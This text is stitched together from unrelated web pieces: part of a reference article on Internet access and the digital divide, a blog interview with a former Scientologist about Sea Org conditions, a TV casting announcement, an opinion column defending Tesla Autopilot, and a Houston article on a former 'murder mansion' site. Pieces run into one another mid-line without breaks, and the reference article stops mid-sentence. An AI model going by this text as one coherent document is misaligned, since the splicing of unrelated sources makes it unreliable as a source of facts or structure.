Packet radio [ edit ]
Packet radio connects computers or whole networks operated by radio amateurs with the option to access the Internet. Note that as per the regulatory rules outlined in the HAM license, Internet access and e-mail should be strictly related to the activities of hardware amateurs.
Sneakernet [ edit ]
The term, a tongue-in-cheek play on net(work) as in Internet or Ethernet, refers to the wearing of sneakers as the transport mechanism for the data.
For those who do not have access to or can not afford broadband at home, downloading large files and disseminating information is done by transmission through workplace or library networks, taken home and shared with neighbors by sneakernet.
There are various decentralized, delay tolerant peer to peer applications which aim to fully automate this using any available interface, including both wireless (Bluetooth, Wi-Fi mesh, P2P or hotspots) and physically connected ones (USB storage, ethernet, etc.).
Sneakernets may also be used in tandem with computer network data transfer to increase data security or overall throughput for big data use cases. Innovation continues in the area to this day, for example AWS has recently announced Snowball, and bulk data processing is also done in a similar fashion by many research institutes and government agencies.
Pricing and spending [ edit ]
Broadband affordability in 2011 This map presents an overview of broadband affordability, as the relationship between average yearly income per capita and the cost of a broadband subscription (data referring to 2011). Source: Information Geographies at the Oxford Internet Institute.[78]
Internet access is limited by the relation between pricing and available resources to spend. Regarding the latter, it is estimated that 40% of the world's population has less than US$20 per year available to spend on information and communications technology (ICT).[79] In Mexico, the poorest 30% of the society counts with an estimated US$35 per year (US$3 per month) and in Brazil, the poorest 22% of the population counts with merely US$9 per year to spend on ICT (US$0.75 per month). From Latin America it is known that the borderline between ICT as a necessity good and ICT as a luxury good is roughly around the “magical number” of US$10 per person per month, or US$120 per year.[79] This is the amount of ICT spending people esteem to be a basic necessity. Current Internet access prices exceed the available resources by large in many countries.
Dial-up users pay the costs for making local or long distance phone calls, usually pay a monthly subscription fee, and may be subject to additional per minute or traffic based charges, and connect time limits by their ISP. Though less common today than in the past, some dial-up access is offered for "free" in return for watching banner ads as part of the dial-up service. NetZero, BlueLight, Juno, Freenet (NZ), and Free-nets are examples of services providing free access. Some Wireless community networks continue the tradition of providing free Internet access.
Fixed broadband Internet access is often sold under an "unlimited" or flat rate pricing model, with price determined by the maximum data rate chosen by the customer, rather than a per minute or traffic based charge. Per minute and traffic based charges and traffic caps are common for mobile broadband Internet access.
Internet services like Facebook, Wikipedia and Google have built special programs to partner with mobile network operators (MNO) to introduce zero-rating the cost for their data volumes as a means to provide their service more broadly into developing markets.[80]
With increased consumer demand for streaming content such as video on demand and peer-to-peer file sharing, demand for bandwidth has increased rapidly and for some ISPs the flat rate pricing model may become unsustainable. However, with fixed costs estimated to represent 80–90% of the cost of providing broadband service, the marginal cost to carry additional traffic is low. Most ISPs do not disclose their costs, but the cost to transmit a gigabyte of data in 2011 was estimated to be about $0.03.[81]
Some ISPs estimate that a small number of their users consume a disproportionate portion of the total bandwidth. In response some ISPs are considering, are experimenting with, or have implemented combinations of traffic based pricing, time of day or "peak" and "off peak" pricing, and bandwidth or traffic caps. Others claim that because the marginal cost of extra bandwidth is very small with 80 to 90 percent of the costs fixed regardless of usage level, that such steps are unnecessary or motivated by concerns other than the cost of delivering bandwidth to the end user.[82][83][84]
In Canada, Rogers Hi-Speed Internet and Bell Canada have imposed bandwidth caps.[82] In 2008 Time Warner began experimenting with usage-based pricing in Beaumont, Texas.[85] In 2009 an effort by Time Warner to expand usage-based pricing into the Rochester, New York area met with public resistance, however, and was abandoned.[86] On August 1, 2012 in Nashville, Tennessee and on October 1, 2012 in Tucson, Arizona Comcast began tests that impose data caps on area residents. In Nashville exceeding the 300 Gbyte cap mandates a temporary purchase of 50 Gbytes of additional data.[87]
Digital divide [ edit ]
[91] The digital divide measured in terms of bandwidth is not closing, but fluctuating up and down. Gini coefficients for telecommunication capacity (in kbit/s) among individuals worldwide
Despite its tremendous growth, Internet access is not distributed equally within or between countries.[92][93] The digital divide refers to “the gap between people with effective access to information and communications technology (ICT), and those with very limited or no access”. The gap between people with Internet access and those without is one of many aspects of the digital divide.[94] Whether someone has access to the Internet can depend greatly on financial status, geographical location as well as government policies. “Low-income, rural, and minority populations have received special scrutiny as the technological "have-nots."[95]
Government policies play a tremendous role in bringing Internet access to or limiting access for underserved groups, regions, and countries. For example, in Pakistan, which is pursuing an aggressive IT policy aimed at boosting its drive for economic modernization, the number of Internet users grew from 133,900 (0.1% of the population) in 2000 to 31 million (17.6% of the population) in 2011.[96] In North Korea there is relatively little access to the Internet due to the governments' fear of political instability that might accompany the benefits of access to the global Internet.[97] The U.S. trade embargo is a barrier limiting Internet access in Cuba.[98]
Access to computers is a dominant factor in determining the level of Internet access. In 2011, in developing countries, 25% of households had a computer and 20% had Internet access, while in developed countries the figures were 74% of households had a computer and 71% had Internet access.[69] The majority of people in developing countries do not have Internet access.[1] About 4 billion people do not have Internet access.[2] When buying computers was legalized in Cuba in 2007, the private ownership of computers soared (there were 630,000 computers available on the island in 2008, a 23% increase over 2007).[99][100]
Internet access has changed the way in which many people think and has become an integral part of peoples economic, political, and social lives. The United Nations has recognized that providing Internet access to more people in the world will allow them to take advantage of the “political, social, economic, educational, and career opportunities” available over the Internet.[93] Several of the 67 principles adopted at the World Summit on the Information Society convened by the United Nations in Geneva in 2003, directly address the digital divide.[101] To promote economic development and a reduction of the digital divide, national broadband plans have been and are being developed to increase the availability of affordable high-speed Internet access throughout the world.
Growth in number of users [ edit ]
Worldwide Internet users 2005 2010 2017a World population[102] 6.5 billion 6.9 billion 7.4 billion Users worldwide 16% 30% 48% Users in the developing world 8% 21% 41.3% Users in the developed world 51% 67% 81% a Estimate.
Source: International Telecommunications Union.[103]
Internet users by region 2005 2010 2017a Africa 2% 10% 21.8% Americas 36% 49% 65.9% Arab States 8% 26% 43.7% Asia and Pacific 9% 23% 43.9% Commonwealth of
Independent States
10%
34%
67.7% Europe 46% 67% 79.6% a Estimate.
Source: International Telecommunication Union.[104]
Access to the Internet grew from an estimated 10 million people in 1993, to almost 40 million in 1995, to 670 million in 2002, and to 2.7 billion in 2013.[105] With market saturation, growth in the number of Internet users is slowing in industrialized countries, but continues in Asia,[106] Africa, Latin America, the Caribbean, and the Middle East.
There were roughly 0.6 billion fixed broadband subscribers and almost 1.2 billion mobile broadband subscribers in 2011.[107] In developed countries people frequently use both fixed and mobile broadband networks. In developing countries mobile broadband is often the only access method available.[69]
Bandwidth divide [ edit ]
Traditionally the divide has been measured in terms of the existing numbers of subscriptions and digital devices ("have and have-not of subscriptions"). Recent studies have measured the digital divide not in terms of technological devices, but in terms of the existing bandwidth per individual (in kbit/s per capita).[91][108] As shown in the Figure on the side, the digital divide in kbit/s is not monotonically decreasing, but re-opens up with each new innovation. For example, "the massive diffusion of narrow-band Internet and mobile phones during the late 1990s" increased digital inequality, as well as "the initial introduction of broadband DSL and cable modems during 2003–2004 increased levels of inequality".[108] This is because a new kind of connectivity is never introduced instantaneously and uniformly to society as a whole at once, but diffuses slowly through social networks. As shown by the Figure, during the mid-2000s, communication capacity was more unequally distributed than during the late 1980s, when only fixed-line phones existed. The most recent increase in digital equality stems from the massive diffusion of the latest digital innovations (i.e. fixed and mobile broadband infrastructures, e.g. 3G and fiber optics FTTH).[109] As shown in the Figure, Internet access in terms of bandwidth is more unequally distributed in 2014 as it was in the mid-1990s.
In the United States [ edit ]
In the United States, billions of dollars have been invested in efforts to narrow the digital divide and bring Internet access to more people in low-income and rural areas of the United States. Internet availability varies widely state by state in the U.S. In 2011 for example, 87.1% of all New Hampshire residents lived in a household where Internet was available, ranking first in the nation.[110] Meanwhile, 61.4% of all Mississippi residents lived in a household where Internet was available, ranking last in the nation.[111] The Obama administration continued this commitment to narrowing the digital divide through the use of stimulus funding.[95] The National Center for Education Statistics reported that 98% of all U.S. classroom computers had Internet access in 2008 with roughly one computer with Internet access available for every three students. The percentage and ratio of students to computers was the same for rural schools (98% and 1 computer for every 2.9 students).[112]
Rural access [ edit ]
One of the great challenges for Internet access in general and for broadband access in particular is to provide service to potential customers in areas of low population density, such as to farmers, ranchers, and small towns. In cities where the population density is high, it is easier for a service provider to recover equipment costs, but each rural customer may require expensive equipment to get connected. While 66% of Americans had an Internet connection in 2010, that figure was only 50% in rural areas, according to the Pew Internet & American Life Project.[113] Virgin Media advertised over 100 towns across the United Kingdom "from Cwmbran to Clydebank" that have access to their 100 Mbit/s service.[21]
Wireless Internet service providers (WISPs) are rapidly becoming a popular broadband option for rural areas.[114] The technology's line-of-sight requirements may hamper connectivity in some areas with hilly and heavily foliated terrain. However, the Tegola project, a successful pilot in remote Scotland, demonstrates that wireless can be a viable option.[115]
The Broadband for Rural Nova Scotia initiative is the first program in North America to guarantee access to "100% of civic addresses" in a region. It is based on Motorola Canopy technology. As of November 2011, under 1000 households have reported access problems. Deployment of a new cell network by one Canopy provider (Eastlink) was expected to provide the alternative of 3G/4G service, possibly at a special unmetered rate, for areas harder to serve by Canopy.[116]
In New Zealand, a fund has been formed by the government to improve rural broadband,[117] and mobile phone coverage. Current proposals include: (a) extending fibre coverage and upgrading copper to support VDSL, (b) focussing on improving the coverage of cellphone technology, or (c) regional wireless.[118]
Several countries have started to Hybrid Access Networks to provide faster Internet services in rural areas by enabling network operators to efficiently combine their XDSL and LTE networks.
Access as a civil or human right [ edit ]
The actions, statements, opinions, and recommendations outlined below have led to the suggestion that Internet access itself is or should become a civil or perhaps a human right.[119][120]
Several countries have adopted laws requiring the state to work to ensure that Internet access is broadly available and/or preventing the state from unreasonably restricting an individual's access to information and the Internet:
Costa Rica: A 30 July 2010 ruling by the Supreme Court of Costa Rica stated: "Without fear of equivocation, it can be said that these technologies [information technology and communication] have impacted the way humans communicate, facilitating the connection between people and institutions worldwide and eliminating barriers of space and time. At this time, access to these technologies becomes a basic tool to facilitate the exercise of fundamental rights and democratic participation (e-democracy) and citizen control, education, freedom of thought and expression, access to information and public services online, the right to communicate with government electronically and administrative transparency, among others. This includes the fundamental right of access to these technologies, in particular, the right of access to the Internet or World Wide Web." [121]
Estonia: In 2000, the parliament launched a massive program to expand access to the countryside. The Internet, the government argues, is essential for life in the 21st century. [122]
Finland: By July 2010, every person in Finland was to have access to a one-megabit per second broadband connection, according to the Ministry of Transport and Communications. And by 2015, access to a 100 Mbit/s connection. [123]
France: In June 2009, the Constitutional Council, France's highest court, declared access to the Internet to be a basic human right in a strongly-worded decision that struck down portions of the HADOPI law, a law that would have tracked abusers and without judicial review automatically cut off network access to those who continued to download illicit material after two warnings [124]
Greece: Article 5A of the Constitution of Greece states that all persons has a right to participate in the Information Society and that the state has an obligation to facilitate the production, exchange, diffusion, and access to electronically transmitted information. [125]
Spain: Starting in 2011, Telefónica, the former state monopoly that holds the country's "universal service" contract, has to guarantee to offer "reasonably" priced broadband of at least one megabyte per second throughout Spain.[126]
In December 2003, the World Summit on the Information Society (WSIS) was convened under the auspice of the United Nations. After lengthy negotiations between governments, businesses and civil society representatives the WSIS Declaration of Principles was adopted reaffirming the importance of the Information Society to maintaining and strengthening human rights:[101] [127]
1. We, the representatives of the peoples of the world, assembled in Geneva from 10–12 December 2003 for the first phase of the World
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Kelowna on Okanagan Lake and it was there that she met an OT 3 at a dance club.
The man (who had achieved the level of Operating Thetan Level Three, one of the higher, secretive levels of Scientology achievement) introduced her to the idea of Dianetics and then took her to the org in Vancouver.
A week later, she was on staff.
But she wanted us to understand that her career in Scientology was not a smooth one. She says she was declared an “illegal PC” three separate times, and was on and off staff. She was even, at one time, a member of the Sea Org.
She was still “flowing money” to the Vancouver org as recently as 2013. But last year, she looked up a friend she had known in Scientology, and he shared with her something he had written. And that changed everything.
Doug Davidson had written a lengthy “Debbie Cook” letter. Cook, a longtime Scientology executive who ran the Flag Land Base in Clearwater, Florida for 17 years, stunned Scientologists by sending out a lengthy accusatory letter on New Year’s Eve, 2012, announcing the ways that Scientology was being corrupted by its current leader, David Miscavige. Since then, it’s become somewhat customary for Scientologists to announce that they’ve gone “independent” with lengthy pronouncements listing their grievances.
Davidson’s announcement was focused on the problems he had seen over the years in the Vancouver area specifically, but it contained many of the same kinds of complaints that Cook had brought up. For many Scientologists who have left in recent years, they felt the organization was getting away from what founder L. Ron Hubbard had intended as Miscavige altered technical procedures and put a heavier emphasis on fundraising.
For Lorna, Davidson’s letter was a revelation. She says that within a week of reading it last summer, she was auditing with Davidson in Grand Forks, B.C., and never turned back. She had become an independent Scientologist.
And she wanted the money back that she’d put on account at the church. She now knew that she’d never take the courses at the org that she’d already paid for, so she wanted those funds returned. She got the run-around from the Vancouver org, so she had an attorney send a letter. When that didn’t help, she went to a litigation attorney, who let the church know in December that they intended to sue.
Lorna says she has about $38,000 on account at the Vancouver org (Day and Foundation). And she’s also asking for $5,000 she gave to “Ideal Org” projects, $20,000 to the International Association of Scientologists, and another $20,000 for book donations and other campaigns.
“It’s roughly $86,000 altogether. But I’m not asking for any money I spent on courses, or for back staff pay,” she says. Her lawsuit was filed in Kamloops Supreme Court, but the church hasn’t responded yet.
Her attorneys had been getting responses to their letters from Gary Soter, the Los Angeles attorney who often represents the church. “I was really shocked that that’s who the Vancouver church would go to,” Lorna says. “Why would they risk the bad PR and not just give me my money? Why let it go to litigation?”
Meanwhile, the Scientologists she knew at the Vancouver org have all distanced themselves from her. “The rumor is that Lorna has gone crazy,” she says with a laugh.
Asked what it was that she saw in the church that drove her away, Lorna said she was affected by “the insane way they treat people. I don’t want to belong to a place that treats people like they do in the Sea Org.”
In 2011, Lorna went as a “public” Scientologist to the American Saint Hill Organization (ASHO) at the “Big Blue” complex in downtown Los Angeles, and she says she was so impressed by how hard the Sea Org members worked, she decided to give it a go herself. She was a Sea Org worker at ASHO from April 2011 to March 2012.
“I always read that Sea Org workers get 50 bucks a week — but that’s generous. For 19 weeks straight we didn’t get paid at all,” she says. She explains that ASHO had obligations to send money uplines. And when income was down, they’d be told there just wasn’t enough left over to pay them.
“Sea Org members have to buy their own toothbrushes and toothpaste and soap — and it can’t have any scent, so you have to buy the more expensive kind with what little money you have,” she explains. “But if there’s no staff pay, how could you even buy necessities? And women needed tampons, so they had to roll up toilet paper because they couldn’t buy any.”
Or there were times when workers needed medical care with no way to pay for it. “We weren’t getting paid. And a guy would say, please, can I have some money to go to the dentist. The guy would be in agony, but first we had to send money uplines to Flag. He’d just have to wait,” she says.
We have to stop and consider that Lorna is talking about a facility in the middle of the second most populous city in the US. It’s truly amazing to think about that kind of deprivation being practiced by a wealthy organization without consequences in a place like Los Angeles.
Lorna says if ASHO didn’t spend much on its employees, it did spend pretty lavishly on events. “ASHO’s portion for putting on an event at the Shrine Auditorium would be $60,000,” she says. Her position, she explains, was to make sure that things were set up properly for celebrities at the events. “I put on the graduations on a weekly basis. I had people like Chill EB, Nancy Cartwright, Denise and Michael Duff to take care of. I had to set up the ice sculptures and the fancy foods. And if a Sea Org worker was caught even taking a glass of water off of those tables, they’d be in big trouble.”
Her typical day went from 8 in the morning to 11 pm or midnight, and special projects couldn’t cut into that time. “If they needed a new rug put in, some members would have to do that in the middle of the night so it didn’t cut into production,” she says.
And she tells us about a specific example she was involved in. At one point, a film was being made on L. Ron Hubbard Way, and it featured Nancy Cartwright. But because of Sea Org hours, they had to get up at 5 am and shoot the scenes at 6 am so they could still make their 8 am muster.
Wait, we asked, are you saying that Nancy Cartwright, the voice of Bart Simpson, was out on L. Ron Hubbard Way at 6 in the morning shooting scenes for some internal Scientology movie, because the crew all had to be at their regular jobs by 8 am?
“Yes,” she says. And it was clear to Cartwright that the reason for the ungodly shooting time was because of the Sea Org members and their long hours? “Nancy had to know,” Lorna adds.
At the other end of the day, ASHO workers couldn’t go to bed until they had fulfilled some mission — convincing some public member to make a donation to the IAS, for example, or to buy a book. Only then could they get some sleep. “I would buy a ten dollar book from someone just so they could get some sleep,” she says.
Lorna was in the Sea Org in Los Angeles for a relatively short time. But even joining staff at an org in Canada came with its difficulties. At one point, when she was being recruited to join staff, she was a single mom with three sons. She says she was heavily pressured to give up her children to their father so she could work at the org full time.
“I was told it was wrong for me to be a single mom, that I should be a staff member,” she says. So she sent her sons away. “It shattered our lives. They made me feel guilty to be a mom.”
Her middle son passed away a few years ago, but her oldest and youngest sons have never been Scientologists, and she says she can count on them for support today. But otherwise, she’s on her own. “I have no money. I gave it all to the church. I’m starting over again from scratch,” she says, but she sounds remarkably upbeat about it.
“Thank God I came to my senses, eh?”
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Nancy’s skill as a sculptor
You might have seen Nancy Cartwright being lionized in the press yesterday about the “Bartman” sculpture that she unveiled here in New York…
But we just wanted to remind you of Nancy’s previous effort, which was featured in what we dubbed the creepiest Scientology advertisement of all time…
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Bonus photos from our tipsters
Yesterday, the town of Helena, Montana held its annual Vigilante Day Parade to welcome in the spring weather. And some of the youngsters who put together floats decided to honor a former local — L. Ron Hubbard, who spent a year at Helena High School in 1927-28. In fact the parade that year was something of a catalyst in his decision to ditch Helena High, as we explained in a recent story.
A snapshot of the float was posted to Instagram by someone who was apparently unfamiliar with that history. They captioned this, “Not sure what’s happening here”…
We went to the trouble to scan through the fixed-camera coverage of the parade provided by a local newspaper, and managed to catch this still, which doesn’t give us a much better look…
Those appear to be manual typewriters that the young men in suits are pounding away at on the front of the float. And it appears they’ve tried to recreate Hubbard’s office or something. But are those body thetans on the back of the float? We’d sure like to know. Hey, kids, tell us about your float!
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BOOK NOTES
On May 14, you will be able to purchase ‘The Unbreakable Miss Lovely’ from Amazon in either electronic or print format, and simultaneously in the United States, the United Kingdom, Canada, and Australia.
The book will not be available for pre-order before that date. It is going live for sale on Thursday, May 14, and not a moment earlier. And hey, that’s just a few weeks away, so you won’t have to wait long.
Our appearances…
May 16: Santa Barbara Humanist Society (with Paulette Cooper), 3:00 pm
May 17: Center for Inquiry-West Los Angeles, 4773 Hollywood Blvd, Hollywood, 11 am (with Paulette Cooper)
May 17: CFI Orange County (Costa Mesa), 4:30 pm (with Paulette Cooper)
May 20, San Diego We’re getting some help from locals trying to assist the San Diego Association for Rational Inquiry (SDARI) find a venue for us (appearance with Paulette Cooper)
May 22: San Francisco (with Jamie DeWolf and Paulette Cooper)
(Finalizing a New York City event in early June)
June 20: Chicago
June 22/23: Toronto (with Paulette Cooper)
June 27/28: Florida (with Paulette Cooper)
July 12: Washington DC, Center for Inquiry
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Posted by Tony Ortega on May 2, 2015 at 07:00
E-mail your tips and story ideas to [email protected] or follow us on Twitter. We post behind-the-scenes updates at our Facebook author page. Here at the Bunker we try to have a post up every morning at 7 AM Eastern (Noon GMT), and on some days we post an afternoon story at around 2 PM. After every new story we send out an alert to our e-mail list and our FB page.
Learn about Scientology with our numerous series with experts…
BLOGGING DIANETICS: We read Scientology’s founding text cover to cover with the help of LA attorney and former church member Vance Woodward
UP THE BRIDGE: Claire Headley and Bruce Hines train us as Scientologists
GETTING OUR ETHICS IN: Jefferson Hawkins explains Scientology’s system of justice
SCIENTOLOGY MYTHBUSTING: Historian Jon Atack discusses key Scientology concepts
PZ Myers reads L. Ron Hubbard’s “A History of Man” | Scientology’s Master Spies | Scientology’s Private Dancer
The mystery of the richest Scientologist and his wayward sons | Scientology’s shocking mistreatment of the mentally ill
The Underground Bunker’s Official Theme Song | The Underground Bunker FAQ
Our Guide to Alex Gibney’s film ‘Going Clear,’ and our pages about its principal figures…
Jason Beghe | Tom DeVocht | Sara Goldberg | Paul Haggis | Mark “Marty” Rathbun | Mike Rinder | Spanky Taylor | Hana WhitfieldUPDATED: J.D. Evermore (True Detective, The Walking Dead) and Carl Lundstedt (Grey’s Anatomy, Conviction) will co-star opposite Olivia Holt and Aubrey Joseph in Freeform’s straight-to-series drama Marvel’s Cloak & Dagger. Also cast in the project, from Marvel Television and ABC Signature Studios, are Andrea Roth, Gloria Reuben, Miles Mussenden and James Saito.
The coming-of-age series, based on the popular comic characters, centers on Tandy Bowen (Holt) and Tyrone Johnson (Joseph) who come from starkly different backgrounds, each growing up with a secret they never dared share with another soul.
Freeform
Evermore will play Detective Connors, who is a contradiction of a man, embracing an intimidating persona that overcompensates for a secret he keeps close to the vest. Lundstedt will play Liam, a salt-of-the-earth townie who operates as Tandy’s partner in crime while moonlighting as her boyfriend.
Roth will portray Melissa Bowen, Tandy’s mom, who is the eternal optimist despite the struggles to adapt to her new existence. Reuben plays Adina Johnson, who invests every aspect of her being into giving her son the life she believes he deserves. Mussenden plays Tyrone’s father, Michael Johnson, who trudges through his desk job to keep his family safe and happy. Saito plays Dr. Bernard Sanjo, an emotional cornerstone in Tyrone’s life; they have a most unusual relationship.
Joe Pokaski serves as showrunner and executive producer. Marvel’s head of TV Jeph Loeb and Jim Chory also serve as executive producers. Gina Prince-Bythewood (Love & Basketball) is set to direct the first episode.
Evermore, who most recently co-starred on praised drama series Rectify, is with Industry Entertainment; Lundstedt with Gersh, Soffer/Namoff Entertainment and Peikoff Mahan Law. Reuben is repped by Atlas Artists and APAHere's a statistic for you: 1.08 fatalities per 100 million miles driven. According to the National Highway and Traffic Safety Administration, that's the death rate on the American road as of 2014, the last year for which there is complete data. In 1994, the rate was 1.73, so we are almost twice as safe as a nation of drivers as we were twenty years ago. This will no doubt come as a surprise to those of you who buy into the idea that "distracted driving" has unleashed a plague of death and destruction upon us. The fatality rate in 2007, the year of the iPhone's introduction, was 1.36. We are now 30 percent safer than we were before the iPhone. Unlike the people who make a living raising panic about distracted driving, I won't try to make an outrageous and illogical assertion based on the above fact.
As good at the 1.08 stat is, I can come up with a better one: 0.76 fatalities per 100 million miles driven. Is that the fatality rate for Germany, where nobody ever passes in the right lane, there is barely any distracted driving, and everybody who has a license is basically as good a driver as Michael Schumacher, or at least Ralf Schumacher? Is it Finland where the driving test is so strict there's a 57 percent failure rate? Or is it Japan, where all the cars are clean and brand new?
No, that fatality rate is for a very specific driver right here in America, and the name of that driver is Tesla Autopilot. Again, let's not lie with statistics. The conditions under which Autopilot, Tesla's semiautonomous driving feature, will operate are, by definition, some of the safest and most predictable situations possible. Heavy rain, icy roads, limited visibility, the Tail of the Dragon—all places where Autopilot will cheerfully hand the wheel back over to you, the Tesla owner, and wish you good luck. Implying that Tesla Autopilot is safer than the average driver is probably like suggesting that most convicted felons are Democrats; the raw data might support the assertion, but there are other, more complex factors in play.
Of course, the whole reason everyone is talking about Autopilot and its success rate lately is because of the recent fatal car crash of Joshua Brown, who was driving a Model S while using Autopilot mode. Now, you can quibble about whether Autopilot was released too early or irresponsibly, but I tend to fall in the camp that believes people should be responsible for their own actions. And you can also quibble on whether Autopilot is safer than, say, a 30-year-old female librarian with excellent vision and impeccable impulse control. But what you cannot argue is the fact that the safety record of Autopilot is at least in the same ballpark with that of human drivers on the highway. Stop and think about that for a moment. It's possible to walk into a dealership and buy a car that drives itself on the freeway about as safely as you would if you were driving the thing. That car also doesn't use gasoline. And it's as fast in the quarter-mile as a Corvette Stingray. The future is here, as William Gibson once said; it's just unevenly distributed.
In any even remotely sane universe, Americans would be as proud of the Tesla Model S as we used to be about the moon landing or about winning the Cold War.
In any even remotely sane universe, this achievement would be celebrated in the most hyperbolic fashion possible by every man, woman, and child on the planet. Americans would be as proud of the Tesla Model S as we used to be about the moon landing or about winning the Cold War. The entire auto industry would be working night and day to make a car that could beat Tesla at its own game. Kids on their bicycles would pretend to be a Tesla P90D in Ludicrous Mode. (Or is it Ludacris Mode, where one is encouraged to "act a fool?")
Needless to say, the world of 2016 is a thoroughly insane universe, so none of the above is happening. Instead, there's a cottage industry springing up of people who are trying to make a name, or a living, or both, disparaging Tesla and its products. Instead of celebrating the existence of a self-autonomous electric car, they are focused on whatever individual gain they can scrape for themselves off the bottom of Elon Musk's shoe.
These individuals are assisted in their quest by a media that long ago decided that it was completely okay with killing the society on which it parasitically feeds. Every potential flaw in a Tesla, every customer complaint, and every perceived shortfall from perfection in the product, the company, or its people is endlessly chewed into pulp by the mandibles of these filthy dung beetles in an effort to find a morsel of notoriety on which they can subsist. These people can't look away from their own navels long enough to contemplate the technological miracle of a self-driving electric car that runs elevens in the quarter. They'd rather focus on minor quality issues or customer-relations missteps.
Note that the harshest critics of Tesla and its products are not affiliated with Nissan, General Motors, BMW, or Ford. Instead, they are gadflies who rarely have any industry experience whatsoever. Few of them could change a tire on a minivan without getting help from a mechanic. I'm not aware of any serious Tesla critic who has the ability to design, and engineer, and produce so much as a $19.95 remote-control electric car on his or her own.
Again, in any sane world nobody would pay any attention to the opinions of completely unqualified individuals on any given topic. There's a reason I write for Road & Track and not Men's Health, for example, and it has something to do with the fact that I've literally had more racing wins in my life than I've eaten salads. If I started pontificating about whether a particular protein supplement built more muscle mass and got you more ripped than another one, the readers would be entirely right to point out that I am not a doctor and that I have never been seen to bench press more than 255 pounds, not even once.
I'm not saying that you need to be the world's best battery designer or electrical-circuit designer to raise criticisms of Tesla, but I am saying that it would be helpful to have a vague idea of how electric cars, or even just regular cars, work. The same goes for the people who moan and whine about the business side of Tesla. Are any of them experienced entrepreneurs or C-suite executives? Ninety-nine percent of them are not.
Can you imagine if the media had treated Henry Ford in the Model T era the way these idiots deal with Elon Musk? I can just imagine the headlines:
Horrible Racist Anti-Semite Wants People to Do the Same Job All Day for Just Five Bucks
Some Early Delivery Model Ts Are Breaking Owners' Wrists
Model T Owner Runs Into Horse, Dies
Ford Fails to Deliver Improved Quarterly Profits Or Stock Price Increases; Puts Money Into River Rouge "Gigafactory" Scam Instead
Customers Are Triggered by Having No Color Choices on Crappy Little Car; Some Vow to Repaint It Themselves
The Tesla Model S, with or without Autopilot, is a genuine advance in human history.
None of those old industrialists could have survived the modern media or regulatory pressure cooker. We now live in an era where raising a billion dollars of other suckers' money and developing a new "app" to take selfies or find imaginary creatures in a porta-potty is considered the apex of human civilization but investing your entire fortune in a quest to build a self-driving electric car is treated like dangerous, egomaniacal adventurism. It makes you wonder why Elon Musk couldn't just be content sitting on his Paypal money and living the lifestyle of the famous one percent. It certainly would have been less hassle.
Thankfully for all of us, he did not. The Tesla Model S, with or without Autopilot, is a genuine advance in human history. It's far from perfect: The fit and finish wouldn't be out of place in an '87 IROC-Z, apparently there's rust, the suspension isn't built to IMSA GTD standards, and I'm willing to bet a couple bucks, based on my own experience with various energy-storage technologies, that in the long run a lot of the battery packs won't hold up quite as well as the owners would like. But it is a towering achievement brought to us by people who really do care about making the future happen in the real world instead of on a phone screen.
So do yourself a favor. Ignore the player haters who sling outrageous arrows at Tesla and its people from the safety of their parents' basements or their dingy half-height "media incubator" cubicles. You don't have to buy a Tesla. You don't even have to like the cars. But it's worth taking a minute to appreciate the enormity of what the company has accomplished. In a world where most people can't assemble Ikea furniture without having to visit the urgent care, these people have created a true car of the future. And to the wannabes, the self-styled analysts, and the bureaucrats in Washington, I can only channel my inner Chris Crocker and tell you: Leave Tesla Alone!
Born in Brooklyn but banished to Ohio, Jack Baruth has won races on four different kinds of bicycles and in seven different kinds of cars. Everything he writes should probably come with a trigger warning. His column, Avoidable Contact, runs twice a week.So it turns out that people may not want to live in a murder mansion. Go figure.
And if you're Seabrook resident Nir Golan, you don't want to live in a mansion that's been built on and/or near the site of a murder mansion either. Even if you're unsure as to the actual location of the original house.
You see, Nir Golan leased a waterfront house off of Todville Road in Seabrook recently, but he was apparently unaware that his rental steal with scenic views also came with a sinister history, and according to Golan, ghosts.
Continue Reading
Golan claims those ghosts and creepy apparitions are because his rental house, and the entire subdivision, are built right on the plot of land where the Todville Murder Mansion -- or the List Mansion, in less dramatic terms -- used to sit.
The List Mansion on Todville Road was a sprawling, multistory home overlooking the Galveston Bay. Built by multimillionaire and known sex offender Bill List, who did a prison stint in 1959 for molesting teenage boys, the home came complete with an indoor swimming pool, a glass wall overlooking the bay, and a catwalk that connected the two wings.
As a bonus, the mansion also looked like a prison from the exterior view, and came complete with burglar bars on the exterior windows, making for quite a difficult exit, should anyone -- or teenage boys, perhaps -- want to get out.
Good ol' Bill used that sprawling mansion to house the teenage boys he'd pick up in Montrose, who he would have "house sit." The Todville Mansion was always full of boys, who he'd ply with drugs and alcohol in return for sex.
List went about his creepy mansion business undisturbed, right up to the day that one of those teenage boys -- Elbert Ervin Homan, or "Smiley -- shot him upon his return home in '84.
The mansion sat unoccupied for many years, with virtually no interest from buyers, despite it remaining on the market. A number of caretakers came in and out, but reports of strange creatures and shadows were abundant from them, so no one stayed long.
The place finally burned to the ground and was demolished, only to be replaced by the neighborhood that Golan is now renting in a decade later. And Golan, who claims he didn't know the story of the Todville Murder Mansion, is apparently creeped out by the entire situation.
But dude. It's not like this story isn't layered into Houston's history. It's a relatively well-known murder mansion, and people have been talking about the story for decades. The neighborhood that sits right next to where the List Mansion was -- Bay Vista -- even changed its name from "Gay Vista" to deter attention from the area. Perhaps Golan should have done his homework on the creepy murders in the area, no?
But don't worry, Golan. If you get out of that lease, and we're hoping for you cause ghosts and all, we wouldn't want you to make the same mistake again. So call us your ghost mansion knights in shining armor, cause we're here to help you from renting a creepy house where a murder mansion once sat.
Here are five other creepy mansions in Houston, for your reading -- and educational -- enjoyment. Or perhaps for your lease agreement, if you're Golan.
5. Wichita Street Mystery House So we're not saying that we know too terribly much about the history of this creepy old place, other than it's kind of cool in a strangely unnerving way, what with all the turrets and such, but we do know that there's a good chance we wouldn't want to accidentally sign our life away on a lease to it. Or on the deed to it, for that matter. It is for sale, after all.
So the former owner, Charles Fondow, spent about 31 years of his life on the never-ending renovation project for this Riverside Terrace home. He sunk hundreds of thousands of dollars into the ongoing renovations, adding a slew of strange aesthetics, from coffered ceilings to turrets and gables. The project was ongoing until Fondow passed away at a hospital in Barbados after falling ill on a cruise, and the house has been for sale several times since.
Sinister? Meh. But it sure is a bit creepy, and we think Golan should steer clear of it, considering he's weirded out by a house that sits on a plot of land where one person died once, a long time ago. We can't imagine what a mystery house would do.
This story continues on the next page.
4. Pearland Mystery Mansion Look, we're not saying anything sinister happened here, but you really should look into how creepy this Pearland mansion is. This home was built more recently than most of the others, but it's every bit as unnerving.
